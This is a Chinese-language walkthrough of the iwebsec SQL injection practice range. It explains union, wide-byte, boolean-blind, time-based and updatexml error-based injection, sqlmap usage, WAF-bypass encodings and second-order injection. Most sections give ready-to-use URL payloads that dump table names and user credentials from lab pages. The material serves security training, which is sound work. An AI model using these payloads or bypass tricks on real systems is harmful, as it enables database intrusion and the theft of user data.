iwebsec靶场(sql注入)
一、MySQL系统库
系统库 | 描述 |
---|---|
information_schema | mysql服务器所有数据库的信息 |
mysql | 基存储数据库的用户、权限设置、关键字等 |
performance_schema | 主要用于收集数据库服务器性能参数 |
sys | 数据来自performance_schema |
二、HTTP请求方式(GET和POST)
GET | POST | |
---|---|---|
后退按钮/刷新 | 无害 | 数据会被重新提交(浏览器应该告知用户数据会被重新提交) |
书签 | 可收藏为书签 | 不可收藏为书签 |
缓存 | 能被缓存 | 不能缓存 |
编码类型 | application/x-www-form-urlencoded | application/x-www-form-urlencoded or multipart/form-data。为二进制数据使用多重编码 |
历史 | 参数保留在浏览器历史中 | 参数不会保存在浏览器历史中 |
对数据长度的限制 | 是的。当发送数据时,GET 方法向 URL 添加数据;URL 的长度是受限制的(URL 的最大长度是 2048 个字符) | 无限制 |
对数据类型的限制 | 只允许 ASCII 字符 | 没有限制。也允许二进制数据 |
安全性 | 与 POST 相比,GET 的安全性较差,因为所发送的数据是 URL 的一部分。 在发送密码或其他敏感信息时绝不要使用 GET | POST 比 GET 更安全,因为参数不会被保存在浏览器历史或 web 服务器日志中 |
可见性 | 数据在 URL 中对所有人都是可见的 | 数据不会显示在 URL 中 |
三、手工注入流程
-
判断是否可以注入
- 随便输入内容:报错——存在注入点
没有报错——没有注入点
-
猜解列名数量
- order by:根据指定的列对结果集进行排序
- 加入存在3个字段,那么在输入order by 4时,会出现报错
-
获得数据库名
. 的意思是下一级
infromation_schema.tables:记载了所有的表名
table_name:字段是表名 -
获得表名
- group_concat:把字段的值在同一行打印出来,逗号分隔(默认)
-
获取列名
-
获得数据
四、sqlmap的使用
1.简介
- sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞
- 目前支持的数据库是MS-SQL,MYSQL,ORACLE和POSTGRESQL
- Sqlmap全面支持六种SQL注入技术
- 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
- 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入:在可以使用Union的情况下的注入。
- 堆查询注入:可以同时执行多条语句时的注入。
- 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为
- 其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令
2.打开方式
-
在文件夹内运行CMD,并输入python .\sqlmap.py
3.sqlmap使用
-
判断是否存在注入
python sqlmap.py -u http://192.168.3.236/sqli-labs-master/Less-1/?id=1
当注入点后面的参数大于等于两个时,需要加双引号
python sqlmap.py -u "http://192.168.3.236/sqli-labs-master/Less-1/?id=1&id=2
-
运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:
- 第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库
- 第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测
- 第三处的意思是参数id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可
-
常用命令
-u:用于get提交方式,后面跟注入的url网址 -r:用于post提交方式,后面跟HTTP请求头w --level level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,当>=3时检查user-agent和refereer --risk risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入 --dbs:获取所有数据库 --tales:获取所有数据表 --columns:获取所有字段 --dump:打印数据 -D:查询选择某个库 -T:查询选择某个表 -C:查询选择某个字段
五、靶场地址:http://iwebsec.com/
六、数字型注入
1.判断注入点
-
/sqli/01.php?id=1%20and%201=1
-
/sqli/01.php?id=1%20and%201=2
-
证明存在注入点
2.猜解列名数量
-
/sqli/01.php?id=1%20order%20by%204
-
证明存在3个字段
3.报错,判断回显点
-
/sqli/01.php?id=-1%20union%20select%201,2,3
4.信息收集
-
/sqli/01.php?id=-1%20union%20select%201,version(),database()
-
收集数据库版本和数据库名
5.爆数据
-
爆表
/sqli/01.php?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
-
爆字段
/sqli/01.php?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27sqli%27
-
爆数据
/sqli/01.php?id=-1%20union%20select%201,2,(select%20group_concat(id,username,password,email)from%20sqli)
-
其他数据和上面操作类似
6.使用sqlmap跑数据
-
python .\sqlmap.py -u http://192.168.1.17/sqli/01.php?id=1 --batch --dbs
-
其他命令见上面对sqlmap的介绍
七、字符型注入(宽字节注入)
1.宽字节注入原理
-
宽字节概念
- 单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
- 多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示
-
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等
-
宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
-
涉及到其他函数
- mysql_real_escape_string()函数转义SQL语句中使用的字符串中的特殊字符
- mysql_escape_string()转义一个字符串
-
原理:%DF’:会被PHP当中的addslashes函数转义为"%DF\‘“,\在URL里是“%5C”,那么也就是说,“%DF’"会被转成“%DF%5C%27倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“”
2.猜解列名数量
-
/sqli/02.php?id=-1%df%27%20order%20by%204--+
-
证明存在3个字段
3.报错,判断回显点
-
/sqli/02.php?id=-1%df%27%20union%20select%201,2,3%20--+
4.信息收集
-
/sqli/02.php?id=-1%df%27%20union%20select%201,version(),database()--+
-
收集数据库版本和数据库名
5.爆数据
-
爆表
/sqli/02.php?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
-
爆字段
0x73716c69是sqli的16进制
/sqli/02.php?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x73716c69--+
-
爆数据
/sqli/02.php?id=-1%df%27%20union%20select%201,2,(select%20group_concat(id,username,password,email)from%20sqli)--+
-
其他数据和上面操作类似
6.使用sqlmap跑数据
-
方法一
-
将宽字符特征%df加入到参数1后,同时在后面加上*
-
python .\sqlmap.py -u http://192.168.1.17/sqli/02.php?id=-1%df* --dbs
-
-
方法二
-
增加宽字符脚本 --tamper unmagicquotes
-
python .\sqlmap.py -u http://192.168.1.17/sqli/02.php?id=1 --batch --dbs --tamper unmagicquotes
-
八、bool注入
1.布尔注入原理
-
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息
-
返回为True时
-
返回为False时
2.猜解列数,和上面的方法一样,字段数为3
3.判断数据库名长度,并逐一猜解每个字符
-
/sqli/03.php?id=1%20and%20length(database())=7
返回为真,数据库名长度为7
-
/sqli/03.php?id=1%20and%20ascii(mid(database(),2,1))=119--+
返回为True,证明第二个字符的ASCII码为119,解码得到w
-
可以将=换为<或>,使用二分法更快的确定字符值。
-
按着这种方法猜解出完整的数据库名
4.猜解表名
-
/sqli/03.php?id=1%20and%20(select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database())=4%20%20--+
返回为真,第一个表名长度为4
-
/sqli/03.php?id=1%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))=117--+
返回为真,第一个表名的第一个字符的ASCII码为117,解码得到u
-
利用上面的方法可以爆破出全部的数据
5.使用sqlmap跑数据
-
python .\sqlmap.py -u http://192.168.1.17/sqli/03.php?id=1 --batch --dbs
九、sleep注入
1.延时注入原理
-
sleep():Sleep函数可以使计算机程序(进程,任务或线程)进入休眠
select * from test;
select * from test where id=1 and sleep(3);
-
if():计算机编程语言的一个关键字,分支结构的一种
- if(a,b,c):可以理解在java程序中的三目运算符,a条件成立,执行b,;条件不成立,执行c
select if(database()='t',123,456);
- if和sleep结合使用:达到延时数据显示,从而通过数据显示的时间判断数据对错
select * from test where id=1 and sleep(if(database()='t1',3,0));
2.判断是否存在sleep注入
-
/sqli/04.php?id=1%20and%20if(1=0,1,%20sleep(10))%20--+
网页10s后刷新网站,证明存在sleep注入
3.判断数据库名长度,猜解数据库的每一个字符
-
/sqli/04.php?id=1%20and%20if(length(database())=7,sleep(10),1)--+
网页10s后刷新网站,证明数据库名长度为7
-
/sqli/04.php?id=1%20and%20if(ascii(substr(database(),1,1))=105,sleep(10),1)--+
网页10s后刷新网站,证明数据库名第一个字符的ASCII码为105,解码得i
4.判断表名长度,猜解表的每一个字符
-
/sqli/04.php?id=1%20and%20if(length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1))=4,sleep(10),1)--+
网页10s后刷新网站,证明第一个表名长度为4
-
/sqli/04.php?id=1%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))=120,sleep(10),1)--+
网页10s后刷新网站,证明第一个表的第一个字符的ASCII码为120,解码得i
-
利用上面的方法可以爆破出全部的数据
5.使用sqlmap跑数据
-
python .\sqlmap.py -u http://192.168.1.17/sqli/04.php?id=1 --batch --dbs
十、updatexml注入
1.报错回显原理
-
updatexml():从目标XML中更改包含所查询值的字符串
-
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为DOC
-
第二个参数:XPath_String(Xpath格式字符串)
-
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(XML_document,XPath_String,new_value);
-
-
extractvalue():从目标XML中返回包含所查询值的字符串
-
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为DOC
-
第二个参数:XPath_String(XPath格式字符串)
extractvalue(XML_document,XPath_String)
-
-
函数应用
2.猜解列数
-
/sqli/05.php?id=1%20order%20by%204
当值为4时报错,证明存在3个字段
3.利用函数进行报错回显
-
/sqli/05.php?id=1%20union%20select%201,updatexml(1,concat(0x7e,(select%20version())),1)%23 %23是#:用来注释后面的语句 concat:返回结果为连接参数产生的字符串 0x7e是~:用于区分
4.获取数据库信息
-
爆表
/sqli/05.php?id=1%20union%20select%201,updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()limit%200,1),0x7e),1)%23 limit 0,1:用于无法在一行全部显示结果,指从第0位开始,返回1个结果。limit 1,2就是从第1位开始,返回2个结果
-
爆字段
/sqli/05.php?id=1%20union%20select%201,updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x73716c69%20limit%200,1),0x7e),1)%23
5.使用sqlmap跑数据
-
python .\sqlmap.py -u http://192.168.1.17/sqli/05.php?id=1 --batch --dbs
十一、宽字节注入
- 同七,字符型注入
十二、sql注入绕过WAF
1.绕过空格
-
空格不能使用替换为%09,%0a,%0b,%0c,%0d,%20,%a0,tab,(),注释符/* */等;%0a是换行也可以替代空格
举例:id=(0)or(1)=(2) 报错即有注入点
/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata)
2.关键词大小写绕过
-
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举例: union select ---> unIOn SeLEcT
/sqli/08.php?id=1%20union%20Select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+
3.双写绕过
-
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过
举例:UNIunionON ,SELselectECT anandd
/sqli/09.php?id=1%20union%20seselectlect%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+
4.双URL编码绕过WAF
-
符号
\
进行url编码一次是%5c。但攻击者怕这个会被认出来,所以用二次编码,把%本身编码成%25。再和后边拼成%255c举例:. = %252e / = %252f \ = %255c
/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252Cgroup_concat%2528schema_name%2529%2520from%2520information_schema.schemata%2523
5.编码绕过
-
针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等
举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23
/sqli/11.php?id=1%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+
6.等价函数替换(同义词替换)
-
举例:and替换为&& or替换为|| =(等于号)替换为like
/sqli/12.php?id=1%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20like%20database())--+
7.注释符内联注释绕过
-
注释符里感叹号后面的内容会被mysql执行
举例:union selecte =/*!union*/ select
8.HTTP参污染
-
对目标发送多个参数,如果目标没有对多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个
举例:?id=1&id=2&id=3 ?id=1/**&id=-1%20union%20select%201,2,3%23*/
十三、二次注入
1.前提条件
- 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义
- 数据库对自己存储的数据非常放心,直接取出恶意数据给用户
2.二次注入步骤
-
插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
-
引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理
3.注册账户
-
注册用户名为admin’#,密码邮箱随便填
-
点击找回密码,输入刚才注册的邮箱,得到admin的账号和密码